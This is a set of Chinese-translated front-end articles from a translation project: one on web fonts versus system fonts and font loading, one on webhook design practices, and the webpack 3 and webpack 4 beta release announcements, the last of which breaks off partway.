![](https://cdn-images-1.medium.com/max/2000/1*-psbviYTpIj2VOo4r8yiGg.png) 维基百科:自 2001 年以来锻炼颈部肌肉,就像在月球上看一场羽毛球比赛。 (我对维基百科的建议:明天将桌面版正文文本改为 15px,然后在未来五年每年增加 1px —— 仍然会比现在阅读的文字小。) 这个小问题的关键是:如果你的文本在一开始就难以阅读,那么网络字体只能提供小的改进。因此,在考虑字体之前,应该先要了解可读文字排版的基础。 --- 如果你不了解排版,但关心可读性,请尝试以此为起点: - 至少 18px 的字体大小 - 1.6 的行距 - #333 或其周围的字体颜色 - 限制行宽度为 700px 但不要相信我的话,你可以从 Medium、The New Yorker、Smashing Magazine、longform.org,甚至 Node 和 NPM 文档中获得灵感。他们都清楚地考虑到可读性,你会发现他们之间有一些明显的相似之处。 将基本原理整理后,你就可以比较系统字体和网络字体了。 (我有一个预感,人们会争论这一点。提供宽泛的建议是我的错 —— 所以我会在这里说明:用常识来解释你在互联网上读到的内容,调整自己的品味,不要做你不想做的事情。也不要吃洗碗机,如果疼痛持续,就去看医生。) --- 现在,我希望你答应我,你不会往上翻。 因为…… 这就是上面出现过的文本块。 ![](https://cdn-images-1.medium.com/max/1600/1*Q-h43aVyuDsrHRVXqx7QbQ.png) 比第一个更容易阅读吗?更难读?还是一样? 很容易,当给出的两大块文本并排放在一起时,让你的眼睛在它们之间移动,最终说服自己其中一个比另一个更容易阅读。但如果没有直接的比较导致差异不明显,那么你可能有两个完全可以接受的字体。 为了满足需求,这里将它们并排放置,你可以很清楚地看到它们是不同的。一个是网络字体,而另一个是系统字体。 ![](https://cdn-images-1.medium.com/max/2000/1*eS3Yg49ckvxMdo9dv-OPQA.png) 资料来源:[New Republic](https://newrepublic.com/minutes/143094/eliminating-coal-save-lives-per-year-entire-coal-industry-employs)(另外,我在图片中处理了 3 个不同的地方)。 我不会告诉你哪张图使用的是网络字体,哪张图使用的是系统字体。 那么,回到流程图的问题上:“网络字体让你的网站更容易阅读吗?”。我想,在寒冷的光线下,任何一个理性的人都会看着上面的比较,然后说**不**,他们中没有一个比另外一个更容易阅读。 (现在我想一想,这实际上是一个很好的测试,看看你是否是一个理性的人。) **结论**:如果你的网站没有太多的文字,那么网络字体对可读性几乎没有任何影响。但如果你的网站都是关于阅读的,这可能不是那么容易。**我**认为 Medium 网站的字体肯定会让文字更加愉快地被阅读。**我**认为这和 New Republic 网站的字体没有任何区别。你需要为你网站的读者找到客观回答这个问题的方法。 如果你认为网络字体对可读性没有什么意义,那么你将更接近最终目标 —— 不必担心网络字体。 ### 你能在没有 FOUT 的情况下加载字体吗? 如果你的流程图远远落后,所讨论的网络字体与你的品牌无关,并且不会提高可读性。但这当然不意味着你不应该使用它。 除非你遇到了 **F**lash **O**f **U**nstyled **T**ext(文本无样式闪烁)。因为那确实太丑了。 对不起,**New Republic**,我准备更深入地对你展开讨论。这并不是出于我本意,是因为你向我的浏览器发送了 524 KB 的字体。 下面是上图文章中的字体加载情况。 ![](https://cdn-images-1.medium.com/max/1600/1*6GoQ3zcV8mA-lufM3iMd1A.png) 载入一篇 New Republic 网站的文章。在 Chrome 开发者工具的网络面板中,限制网速为 “Fast 3G”,然后仅对字体进行过滤。 文章的正文副本在 1.45 秒内可见。这是一个很大的努力。 讲真的,3G 网络 1.45 秒的时间,打败了互联网绝大部分的网站【鼓励一下】。 然后在 1.65 秒的时候图片被加载了。但从这一点开始,一切都在走下坡路,就像奶酪追逐节一样。 **九秒钟后**,在 10.85 秒时,网络字体就绪,文本闪烁,因为系统字体被替换为网络字体了。我去。 但这还没完,哦,不。在 12.58 秒时,它会再次闪烁,因为 700-weight 字体被加载了(在每篇文章的开头句子中使用 —— 所以这将改变其余的副本),然后在 12.7 秒时,400 斜体可用,文本再次闪烁。 所有这一切,事实上是大多数人都无法区分这两种字体。 我能说的是,这里使用的 `Balto` 和 `Lava` 字体不仅是 542 KB,它们每年也要 2000 美元左右。确实是这样。 这肯定会让我的钱包很紧。 有趣的是,我想很多人在看到这篇文章的标题时,会认为这是一篇关于一些开发人员看不到精细排版中的价值的吐槽。但恰恰相反。上述行为是对视觉体验的攻击,并且可以通过使用看起来几乎相同的系统字体来**避免**。 --- 但是,我们在这里先退一步。很明显,这个网站的设计师并**不想**它在加载时这么烦人。这显然不仅仅只有 **New Republic** 遇到了这种情况。那么一个网站怎么会这样呢? 更重要的是,你如何避免**你的网站**遇到这种情况? 我认为设计决策可能发生在 Sketch 设计的前面,或者用本地安装的字体来查看网站,所以假定**使用网络字体没有什么负面影响**。 这是不正确的,因为任何曾经使用过互联网的人都可以告诉你。 也许如果 Sketch 或者 Photoshop 有一个插件,在你每次打开一个文件时都会显示 10 秒钟的系统字体,那么世界上将会有更少的不必要的网络字体。 我的建议:了解网络字体是如何展示给你的用户的,而不是停留在静态设计上,它不会出现任何烦人的闪烁的无样式文本。 **结论**:如果你不能避免 FOUT,那么请避免使用网络字体。 (如果你在本轮中被淘汰,你可以向上滚动并查看一些避免 FOUT 的提示。) ### 你想在所有设备上使用相同的字体吗? 在这里我只有这一步,因为我已经听到过很多次,并想要解决它。但坦白说,我并没有解决这个问题。 为什么要在所有设备上使用相同的字体?在表面看来,这听起来像是一个愚蠢的问题。我试图用 `5 Whys` 进行分析,但我在第二个上面卡住了。 从我的理解来看,我的想法是,如果我正在 Mac 的 Safari 中浏览一些袜子,然后离开家,坐上火车,用我的 Android 浏览同一个网站,如果我看到的是不同的字体,那将是一件很**糟糕**的事情。 我理解“一致性很重要”这一普遍观点。但……真的吗?在流程图中的这一点上? 我只能代表我自己,但是如果我从坐在沙发上,用一个 15 英寸 220 PPI 的 LCD 屏浏览你的桌面版网站,到火车上的脏房间里面,用一个 5.5 英寸 534 PPI 的 OLED 屏浏览你的手机版网站,我并不在乎我在看到的是什么字体,几乎肯定不会注意到从 San Francisco 到 Roboto 字体的变化。 我只是看着我手机上的袜子。 ![](https://cdn-images-1.medium.com/max/2000/1*KCk6znjIEeYIT9Xirnh2EQ.png) 谢谢 [readymag](https://readymag.com/arzamas/132908/9/)。 但就像我说的,我仅代表我自己。也许只有我一个人有这样的想法,其他所有人都会对 Roboto/San Francisco 的切换感到非常困惑。 我只是一个孤独的数据点。 --- 我也听说过这样的争论,在所有设备上使用相同字体,意味着你可以依靠具有一致粗细的文本,并始终占用相同的空间。 不是这样的。 ![](https://cdn-images-1.medium.com/max/1600/1*5-yDFIJgMvqyr-ugdYUMOA.jpeg) macOS 上的 Safari。 ![](https://cdn-images-1.medium.com/max/1600/1*8cXq51gj6yp2kZfD_ePdIQ.png) Windows 上的 Chrome。 我使用 macOS/Windows 的时间大概是一半一半(我好像有点像流浪汉),而 Windows 上的文本通常看起来更轻。但让事情变得复杂的是,Windows 有这样一整个叫做 ClearType 的东西,这意味着你实际上并不知道字体是如何展示给不同的用户的。 因此,你需要接受的是,即使使用网络字体,你的文本在 Mac 和 Windows 上的显示也会有所不同,几乎肯定会在不同的地方进行包装(注意主段落的第一行)。 **结论**:如果你明白你的文字在所有设备上(永远)不会看起来一样,但仍然希望在所有设备上使用相同的字体,那么选择是明确的:你将需要一个网络字体。不然呢…… ### 使用网络字体会让你更开心吗? 现在,你已有了一个字体,**无关**你的品牌,也**不**增加可读性,你**可以**在没有难看的闪烁无样式文本的情况下加载它,而且你已经接受了设备之间不可避免的不一致。 现在怎么办? 你可能已经注意到,我的流程图中缺少了“它看起来更好吗?”。我向你保证,这不是因为我觉得外观并不重要。美学是非常重要的,这也是为什么我早上要梳头发。 它之所以没有出现在流程图中,是因为网络字体天生比系统字体更好看的误解。 也许是时候我们更仔细地看看这些“系统”字体了…… 如果你今天使用系统字体,你的用户将获得 MacOS 和 iOS 上的 `San Francisco`,Android 上的 `Roboto` 和 Windows 上的 `Segoe UI`。 这些是 Apple、Google 和 Microsoft 选择来作为界面外观的字体。它们都是经过精心设计的,所以他们肯定不应该被认为是像 `Open Sans`,`Proxima Nova` 和 `Lato` 这样的字体。 (我想要说的是,这些系统字体比大多数网络字体都要好,但排版爱好者是一个暴力的群体,所以我不会说这样的话。) 系统字体可以像网络字体一样漂亮,如果你对字体的外观感兴趣,那么你应该努力去了解你的网站使用系统字体看起来怎么样。也许它看起来更好 —— 这不会是一个惊喜吗? --- 所以,你已经检查了系统字体,它们可不会为你做这些。现在,你只需要为你的网站选择字体,就像你要选择调色板和布局一样。 幸运的是,我们在流程图的末尾,所以如果你想使用网络字体,那么你就应该使用一个网络字体。 我感谢你花时间考虑系统字体,并祝愿你和你的网络字体永远幸福。 **结论**:如果你想使用网络字体,那你就使用吧。**但**如果这是你在所有这些之后得出的结论,实际上可能还有一件事情需要担心,系统实际上是非常棒的,然后使用系统字体。 每个人都是赢家。 ### 我的观点 以上是一个非常无聊的结局,不是吗?“做任何让自己开心的事”。 现在来讨论一些重要的事情。**我**是怎么认为的。 **我**认为网络字体应该被用作默认的操作模式,而不是作为考虑决策过程的结果。 我认为,恩,一半使用网络字体的网站可以摆脱它们,并变得更好。 我认为最糟糕的是由于网络字体加载速度慢而实际造成的流量流失。 下面的事情尤其令人愤慨。让用户花不必要的三秒钟盯着一个空白页面来加载一个漂亮的字体。 ![](https://cdn-images-1.medium.com/max/2000/1*dlpNsFiPLVf7L8XTSZjsVA.png) 这真的让我很恼火。 就像你来我家拜访我,在我梳头发的时候,让你站在角落里盯着一堵空墙三分钟。 如果你的网站是这样加载的,你实际上是在说“我的字体比我的内容和你的时间更重要”。 我不会放弃这个网站(因为我喜欢这些内容,也不认为它们应该受到公众的羞辱),但你可能很想看到导致这个严重延迟的,独特且漂亮的网络字体。 所以这里有一段你可以直接阅读的使用了系统字体的段落,以及一段用户等待了三秒钟才看到的使用了网络字体的段落。 ![](https://cdn-images-1.medium.com/max/1600/1*SvPa6OyravMecd045jf16Q.png) 这是宏伟的,不是吗?甚至是雄伟的。我希望**所有**网站都让我多等待三秒钟,以便我可以一饱眼福,欣赏到真正令人兴奋的字体美。 好吧,我的观点已经够了。我有点喘不过气来了,我只记得我试着不要这么讽刺。 所以让我们从我的角度来看待别人的选择,并用更实际的方式来完成。 ### 如何正确使用网络字体 与你从上面可能得到的感觉相反,我不认为网站应该完全远离网络字体。但如果你要使用它们,那就有一个正确的和错误的方法。下面你会发现这两个方法。 --- 网络字体可能很慢的原因是浏览器在加载过程中很晚才发现它们。浏览器必须先加载一堆 HTML 和 CSS,**然后**才知道它需要加载你所需要的别致的字体。(TMD,一些讽刺滑过,抱歉。) 只有这样,浏览器才会开始下载字体。以下是一个页面的资源加载情况,只包含一些 HTML,CSS 和单个网络字体: ![](https://cdn-images-1.medium.com/max/1600/1*gfeEGIGmAgZ10PtxM53vSA.png) 蓝色条是 HTML,紫色的是 CSS,灰色的是字体文件。 你可以看到,当浏览器解析 HTML 时,它发现了 CSS 文件的引用,并开始下载它。一旦你注意到这一点,注意到只有当 CSS 被完全下载后,它才会意识到你需要一个字体。因此,该页面实际上在字体之前,甚至是在字体**开始**下载之前就已经准备好了。 这有点难以理解,但通过上方的页面加载进程的截图,如果你眯着眼睛看(虽然眯着眼睛也很难看清),你可以看到只有在字体准备就绪(大约在 2400ms)的时候,文字才会被渲染。 你的另一个选择是通过 CSS 加载字体 —— Google 字体鼓励你使用的代码片段。这基本上是加载一个 CSS 文件,它定义了一些指向 Google 服务器上的字体文件的字体规则。所以加载模式看起来像这样: ![](https://cdn-images-1.medium.com/max/1600/1*Gdclz9iXlIXiZdP629I4AA.png) 绿色是字体文件。最终结果是一样的。我们等了很长时间才开始下载字体。 --- 但是如果你可以添加一行代码并尽快开始字体下载呢?像这样…… ![](https://cdn-images-1.medium.com/max/1600/1*a1AvziD3XHE_dt4u4tUW3g.png) 这难道不是很棒吗? 那么……在定义你的 CSS 文件和正文内容之前,把这个放在你的 HTML 中。 ```html ``` 是的,从技术上讲,它们不在一行上。 `rel=preload` 目前只覆盖了大约 50% 的用户 [2017 年 8 月],但它[即将登陆 Firefox 和 Safari](http://caniuse.com/#feat=link-rel-preload),所以事情很快会变得越来越好。 你的另一种选择是 `FontFace` API,它[覆盖更广](http://caniuse.com/#feat=font-loading) —— 接近 80% 的用户。你可以在引用 CSS 之前使用它让浏览器立即下载字体。 ```html ``` 如果这合你意,我强烈推荐阅读[网络字体优化](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/webfont-optimization)。 结果也是一样的美好: ![](https://cdn-images-1.medium.com/max/1600/1*1Igz81o2h0lfGld6ukAfrA.png) 幸运的是,`.woff2` 或多或少是 `FontFace` 支持的超集,所以你只需要在使用 `FontFace` 时指定一种字体格式。 然后,你可以为 `.woff` 和 `.ttf` 定义预设机制,以及其他任何你经常使用的 `@font-face` 规则。 ```css @font-face { font-family: 'Sedgwick Ave'; font-style: normal; font-weight: 400; src: url('./fonts/sedgwick-ave-v1-latin-regular.woff2') format('woff2'), url('./fonts/sedgwick-ave-v1-latin-regular.woff') format('woff'); font-display: block; } ``` 最后一件事情……你的字体现在开始下载得更快了,你可以完全避免可怕的 FOUT。但是在 CSS 可用和字体可用之间可能会有几百毫秒的时间。 在这段时间内,浏览器知道要使用什么字体,只是还没有这个字体。很酷的是,你可以通过在 `@font-face` 规则中定义 `font-display` 属性来控制这段时间内它要做的事。 在上面的例子中,我可以确定的是字体将在 CSS 加载完成后的几百毫秒内可用,因为它们的大小相同,来自同一个服务器,并且同时开始加载。 在这种情况下,我想阻止文字显示直到字体可用,以避免可怕的 FOUT。我是通过将 `font-display` 设置为 `block` 来实现的。 另一方面,如果你认为字体可能在 CSS 加载完成之后的几秒钟内无法可用,你可能希望将其设置为 `swap`,以便浏览器立即显示无样式的文本,从而让读者阅读。 [这个规范](https://tabatkins.github.io/specs/css-font-display/#font-display-desc)以相当简单的语言解释了细节(我只读了绿色框里面的内容)。所有这些都是在2017 年 8 月的 Chrome 浏览器中才开始使用的。 --- 下面是一段在 codepen 上的代码,它将列出一堆字体,并显示你的当前设备上支持哪些字体。 我不确定它是否真的有用,但是尝试着去做是一件很有趣的事情。如果你想把一些字体添加到列表中,请告诉我。 [![](https://s3-us-west-2.amazonaws.com/i.cdpn.io/326282.PKJvow.2cabcc11-62f6-4e7f-abfc-1c756aa59002.png)](https://hackernoon.com/media/39b5620b39b011d96f5a261b318ff3b7?postId=a3b4b39fe0ae) 仅此而已。 再见。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/webhooks-dos-and-dont-s-what-we-learned-after-integrating-100-apis.md ================================================ > * 原文地址:[Webhooks do’s and dont’s: what we learned after integrating +100 APIs](https://restful.io/webhooks-dos-and-dont-s-what-we-learned-after-integrating-100-apis-d567405a3671) * 原文作者:[Giuliano Iacobelli](Giuliano Iacobelli) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[steinliber](https://github.com/steinliber) * 校对者:[xekri](https://github.com/xekri) , [DeadLion](https://github.com/DeadLion) # Webhook 该做和不该做的: 我们在整合超过 100 个 API 中所学到的 当现在的应用变的越来越像 API 的集合而且无服务架构获得越来越多的关注时,作为一个 API 的提供者,不应该再只是暴露传统的 REST 接口。 传统 REST API 的设计是用来让你可以程序化的获取或提交内容,但在你只是想如果某些信息改变,API 再通知应用程序的情况下,传统 API 还远不够好,这还远远不是最佳的实践。如果是要实现这个的话,就需要定期轮询,而且这样还会失去扩展性。 ![](https://cdn-images-1.medium.com/max/800/1*dEmrcTajSG5A4Z_JjrGqfw.png) Picture credits [Lorna Mitchell](https://medium.com/u/e6dd3fdb7c2d) 为了获取一小段信息,轮询 API 通常是一种既浪费又复杂的方式。一些事件或许在一段时间内只发生一次,所以你必须推断出轮询的频率。然而即使这样你也可能错过它。 > Don’t call us, we’ll call you! 好的,webhook 就是这个问题的答案. **webhook 就是 Web 服务使用 HTTP POST 请求为其他服务提供近实时信息的一种方式。** ![](https://cdn-images-1.medium.com/max/800/1*8t-MNjY-6rJ79rsDnZt0rA.png) Picture credits [Lorna Mitchell](https://medium.com/u/e6dd3fdb7c2d) 一个 webhook 会在它调用时就传递数据到其它的应用,这表明你可以立即得到数据。这让使用了 webhook 的生产者和消费者都变的更有效率,如果你的 API 还不支持这些,你真应该做一些关于这方面的事。 (关注 [Salesforce](https://medium.com/u/f4fb2a348280) 了吗?). 当涉及到 webhooks 的设计,现在并没有类似标准的 HTTP API 这样的规范。每个服务实现不同的 webhook, 从而导致许多不同的 webhooks 实现风格。 我们在集成了来自 100 多个不同服务 API 后,可以说对外提供 webhook 的服务是个大“杀器”。当我们需要集成一个暴露 webhook 的服务时,这里有些建议能够帮助到我们。 #### 自我解释和一致性 一个好的 webhook 服务应该要尽可能多的提供被通知事件的信息,以及客户端执行该事件的其他信息。 客户端在创建 POST 请求的时候应该包含一个 `timestamp` 和 `webhook_id` 字段。如果你提供的是不同类型的 webhooks,不管它们是否被发送到单个端点都应该包含一个 `type` 属性。 ![](https://cdn-images-1.medium.com/max/600/1*Yi85OX2kNJw-bbn8O0VVQQ.png) Github webhook 携带数据的示例 [GitHub](https://medium.com/u/d18563e4f2b9) 非常完美的实现了以上这点。 请不要像 Instagram 或 Eventbrite 那样,只发送一个 ID 然后使用另一个 API 来解析。 如果你认为你的在一次请求中发送的有效数据太多,请给我机会让它变的更轻量。 [Stripe](https://medium.com/u/3ecae35d6d66)’s [event types](https://stripe.com/docs/api) 就是一个很好的例子。 #### 允许消费者定义多个 URLs 当你构建你的 webhooks ,你应该考虑到在另一端的人必须去接收你的数据。如果只给予他们在一个网址下订阅活动的机会,那肯定不是你所可以提供的最好的开发者体验。如果我需要在不同的系统上监听相同的事件就会遇到麻烦,然后我就需要把类似 Reflector.io 的库来在系统间管理数据。[Clearbit](https://medium.com/u/ce5450a7b906) 请开发这样的好的 API, 并相应加快你的 webhook 开发进程。 [Intercom](https://medium.com/u/7ca8972daf76) 在这方面做的非常好,让你可以添加多个 URLs,并为其中的每一个都定义想监听的事件。 ![](https://cdn-images-1.medium.com/max/800/1*lGfFqT7G4x3swfm1qkxjfA.png) Intercom 的 webhook 管理面板 #### 基于 UI 的订阅与基于 API 的订阅 一旦整合完成,我们应该如何处理实际订阅的创建?一些服务选择了使用 UI 来引导你完成订阅的设置,其他服务则为此提供了 API。 ![](https://cdn-images-1.medium.com/max/600/1*lQ5VTo4IF50IjaimPq-F4Q.png) [Slack](https://medium.com/u/26d90a99f605) 两种都支持。 它提供了一个精巧的UI,这使创建订阅很容易,并且它也提供了一个稳定的事件 API(仍然没有提供尽可能多的事件,比如说他们的实时消息传递 API ,但我相信他们的工作) 在选择是否为 Webhooks 提供 API 时,需要记住的一件重要的事情是,订阅将以什么规模和粒度提供,以及谁将会配置它们。 我发现让人感到好奇的是像 [MailChimp](https://medium.com/u/772bf2413f17) 这样的工具会迫使非技术的群体混淆 webhooks 配置。这些工具通过 API 提供 webhooks ,任何具有 Mailchimp 集成的第三方服务(例如 Stamplay,Zapier 或 IFTTT)都可以通过程序化的方式来实现,从而提供更好的用户体验。 ![](https://cdn-images-1.medium.com/max/600/1*EEMaCdPa63smJ3oOSpQ60w.png) 要通过 API 创建新的 webhooks 订阅,你就应该像 HTTP API 中的任何其他资源一样来处理 __订阅__ 。 最近我们在工作中发现非常好的例子是由 Box 团队在今年[夏天](https://blog.box.com/blog/box-webhooks/)更新的 webhook 实现。 #### webhooks 安全 一旦有人配置他的服务从你的 webhook 接收有效信息,它将会监听任何发送到端点的有效信息。 如果消费者的应用程序会暴露敏感信息,那么它可以(可选)验证请求是否由你的服务生成的,而不是第三方假装是你。这种验证不是必需的,但为消息传输提供了一个额外的验证层。 现在有很多方法可以实现安全性,如果你想把安全性处理放在消费者一方,你可以选择给他一个白名单来接受指定IP地址的请求,但更容易的方法是设置一个秘密令牌并验证相关信息。 这方面可以从不同程度的复杂性开始做,比如说就像 Slack 或 Facebook 做的那样,在一开始使用一个纯文本共享的秘钥。 ![](https://cdn-images-1.medium.com/max/800/1*qyzDKFf4CfPwJEozGIah0w.png) 至于更复杂的实现。比如说 Mandrill 对 webhook 请求进行签名,webhook POST 请求的 HTTP 头部包含了附加的`X-Mandrill-Signature` ,这个头中将包含请求的签名。要验证 Webhook 请求,就要使用 Mandrill 相同的密钥生成签名,并将这个签名与 `X-Mandrill-Signature` 头里的值进行比较。 #### 具有过期日期的订阅 现在对外提供整合了过期时间的订阅服务可能性不是很高,但可以我们可以看到这可以作为一个更常见的功能。 Microsoft Graph API 就是一个例子。除非你进行续订,否则通过 API 执行的任何订阅都将在 72 小时后过期。 从数据提供商的角度来看,这是有道理的。你不想继续向可能不再运行或对你数据感兴趣的服务发送 POST 请求,但对所有真正对此感兴趣的用户来说,这是一个令人不快的体验。你是微软:如果你做不了应该做的繁重工作那又应该谁去做呢? #### 总结 webhook 领域的设计仍然是分散的,但是常见的模式终究会显露出来。 在 [**Stamplay**](https://stamplay.com/) API 集成是一个问题。我们每天都面临着集成的挑战,像 Swagger ,RAML 或 API Blueprint 这样的 OpenAPI 规范并不能有所帮助,因为它们都不支持webhook 场景。 所以如果你正在考虑实现 webhooks ,我邀请你想想他们的使用说明,看看例子 [GitHub](https://medium.com/u/d18563e4f2b9), [Stripe](https://medium.com/u/3ecae35d6d66), [Intercom](https://medium.com/u/7ca8972daf76) 和 [Slack API](https://medium.com/u/272cd95a3742). PS. [Medium](https://medium.com/u/504c7870fdb6) 任何关于 webhooks 的想法?拜托,RSS 是老一套的做法啦。 **更新**: Medium 实际上提供了一种通过 [http://medium.superfeedr.com/](http://medium.superfeedr.com/) 实时通知的方式👌 ================================================ FILE: TODO/webpack-3-official-release.md ================================================ > * 原文地址:[webpack 3: Official Release!!](https://medium.com/webpack/webpack-3-official-release-15fd2dd8f07b) > * 原文作者:[Sean T. Larkin](https://medium.com/@TheLarkInn) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[xilihuasi](https://github.com/xilihuasi) > * 校对者:[achilleo](https://github.com/achilleo) --- ![](https://cdn-images-1.medium.com/max/1000/1*Ac4K68j43uSbvHnKZKfXPw.jpeg) 终于来了,美妙极了。 # 🍾🚀 webpack 3:官方发布!! 🚀🍾 ## 作用域提升,“魔法注解”,以及其他更多特性! 在我们发布 webpack v2 之后,我们对社区做了一些许诺。我们承诺将在未来发布一些你们投票选出的特性。此外,我们的周期发布将会**更快**,**更稳定**。 不再有一年之久的测试版本,版本之间不再有爆炸性的变化。我们以**你们和社区让 webpack 更繁荣**的名义,保证你们行使自己的权利。 webpack 团队自豪地宣布,今天 webpack 3.0.0 发布啦!!!今天你就可以下载或更新!! `npm install webpack@3.0.0 --save-dev` 或者 `yarn add webpack@3.0.0 --dev` --- 从 webpack 2 迁移到 3,应该 **只需在 terminal 中执行升级命令。** 因为内部的重大改变可能会影响一些插件,我们把这项特性作为重要更新收录了。 **目前为止98% 的用户在升级后没有影响原有功能的使用** ### 有哪些更新? 正如前面提到的,我们旨在发布你们[投票选出](https://webpack.js.org/vote)的那些特性!由于 GitHub 上大量的贡献,以及来自我们支持者和赞助商的支持,我们已经有实现所有这些特性的能力。 😍 #### 🔬 作用域提升 🔬 作用域提升是 webpack 3 的主要功能。之前版本的 webpack 在打包时的一个妥协是包里面的每个模块都会被包装到一个独立的函数闭包中。这些包装函数使你在浏览器中执行的 JavaScript 代码变得更慢。相比之下,例如 Closure Compiler 和 RollupJs 这样的工具把所有模块的作用域‘提升’或者串联在一个闭包,并且使你的代码在浏览器中有更快的执行时间。 [![](https://ws4.sinaimg.cn/large/006tKfTcgy1fgrga21tuwj30jn0923zk.jpg)](https://twitter.com/tizmagik/status/876128847682523138?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fmedium.com%2Fmedia%2F4533845503a873853b93e6aaf0833c57%3FpostId%3D15fd2dd8f07b) 直至今天,使用 webpack 3,你可以**马上把如下插件添加到你的配置中来启用作用域提升:** module.exports = { plugins: [ new webpack.optimize.ModuleConcatenationPlugin() ] }; 具体而言,作用域提升是一个基于 ECMAScript Module 语法的特性。正因如此,webpack 可能会根据你使用的模块种类,以及[其他条件](https://medium.com/webpack/webpack-freelancing-log-book-week-5-7-4764be3266f5)回退到普通的打包方式。 为了随时了解什么触发了这些回退,我们添加了一个 `--display-optimization-bailout` 命令行标志来告诉你什么因素导致了这些回退。 [![](https://ws3.sinaimg.cn/large/006tKfTcgy1fgrgbhk955j30j806lt9e.jpg)](https://twitter.com/jeremenichelli/status/876527176606265344?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fmedium.com%2Fmedia%2F6663aed6525e9200886db81c9415337c%3FpostId%3D15fd2dd8f07b) 因为作用域提升将移除模块的函数包装,你将会看到文件大小的少量精简。然而,更显著的提升在于,浏览器加载 JavaScript 的时候有多么迅速。如果你在做了比较之后感到很爽,或者自由地获取数据响应,那就快去跟朋友分享吧! #### 🔮 ”魔法注解” 🔮 当我们在 webpack 2 中介绍动态引入语法( `import()` )的使用时,用户们担心他们不能像使用 `require.ensure` 一样创建命名块。 我们现在已经采用了社区创造的“魔法注解”,拥有传递块名的能力,[以及其他](https://medium.com/webpack/how-to-use-webpacks-new-magic-comment-feature-with-react-universal-component-ssr-a38fd3e296a)就像 `import()` 语句的行内注释。 ``` import(/* webpackChunkName: "my-chunk-name" */ 'module'); ``` 通过使用注解,我们可以保证加载的规范,并且仍然提供你喜欢的块命名特性。虽然这些技术性的特性我们已经在 v2.4 和 v2.6 中发布了,我们努力提升稳定性及修复 bug 来保证这些特性在 v3 中正式落地。现在已经可以使用和 `require.ensure` 一样灵活的动态引入语法了。 [![](https://ws3.sinaimg.cn/large/006tKfTcgy1fgrgcvddj9j30ie0dodh5.jpg)](https://twitter.com/AdamRackis/status/872602076056088576/photo/1?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fmedium.com%2Fmedia%2Ffd3c12141eb0e7363d3e33feb528480c%3FpostId%3D15fd2dd8f07b) 想要了解更多资讯,来看我们的[代码拆分的最新文档指南](https://webpack.js.org/guides/code-splitting-async)详细了解这些特性!!! ### 😍 然后呢? 😍 我们还有一些特性和功能加强希望提供给你们!!!但是饭得一口一口吃,事情要一件一件做,在我们的[**投票页面,给投那些你想看到的特性吧!**](http://webpack.js.org/vote) 这里还有一些我们仍然想提供给你们的东西: - 更好地构建缓存 - 更快的初始和增量版本 - 更好的 TypeScript 体验 - 改进长期缓存 - MASM 模块支持 - 提升用户体验 ### 🙇 感谢 🙇 所有我们的用户、贡献者、文档作者、博客主、赞助商、支持者和维护者,都是这些年来帮助我们保证 webpack 成功的投资人。 为此,感谢你们所有人。是你们使这些成为了可能,我们已经迫不及待跟你们分享未来我们还有哪些黑科技了!! --- **没时间帮助贡献?想用其他方式回馈?我们的 [open collective](http://opencollective.com/webpack)。Open Collective 不仅支撑整个核心团队,而且还帮助那些在业余时间花了大量时间来提升我们组织的贡献者们! ❤** --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/webpack-4-beta-try-it-today.md ================================================ > * 原文地址:[🚀webpack 4 beta — try it today!🚀](https://medium.com/webpack/webpack-4-beta-try-it-today-6b1d27d7d7e2) > * 原文作者:[Sean T. Larkin](https://medium.com/@TheLarkInn?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/webpack-4-beta-try-it-today.md](https://github.com/xitu/gold-miner/blob/master/TODO/webpack-4-beta-try-it-today.md) > * 译者:[FateZeros](https://github.com/FateZeros) > * 校对者:[kangkai124](https://github.com/kangkai124) [MechanicianW](https://github.com/MechanicianW) # 🚀webpack 4 测试版 —— 现在让我们先一睹为快吧!🚀 ![](https://cdn-images-1.medium.com/max/2000/1*BxhnE90lRYeLTxatyRDmqQ.jpeg) 为了支持数以百万计的功能,用例和需求,它需要一个安全,稳定,可靠和可拓展的基础。只有 webpack 具有无限的可能性。 ## 稳定的发布之路! 自八月初以来 —— 当我们从 `**webpack/webpack#master**` 中分出 `**next**` 分支的时候 —— 我们看到了惊人的贡献量涌入。 ![](https://cdn-images-1.medium.com/max/800/1*kJm7dIWWR7DzZa-OW_z6gQ.png) 可以使用 [gitinspector](https://github.com/ejwa/gitinspector) 一目了然地查看 webpack **next** 分支上的 Git 贡献统计信息。可以在你的项目上尝试一下,来仔细研究下。 **PS:这还不包括我们的 webpack-cli 团队 和 webpack-contrib 组织,他们在支持加载器和插件上面做了大量的工作。** **🎉 今天,我们很自豪能够通过发布 webpack 4.0.0 - beta.0 来分享这项工作的成果!** **🎉** #### 🎁一个实现的承诺 —— 可预测的发布周期 当我们完成了 webpack 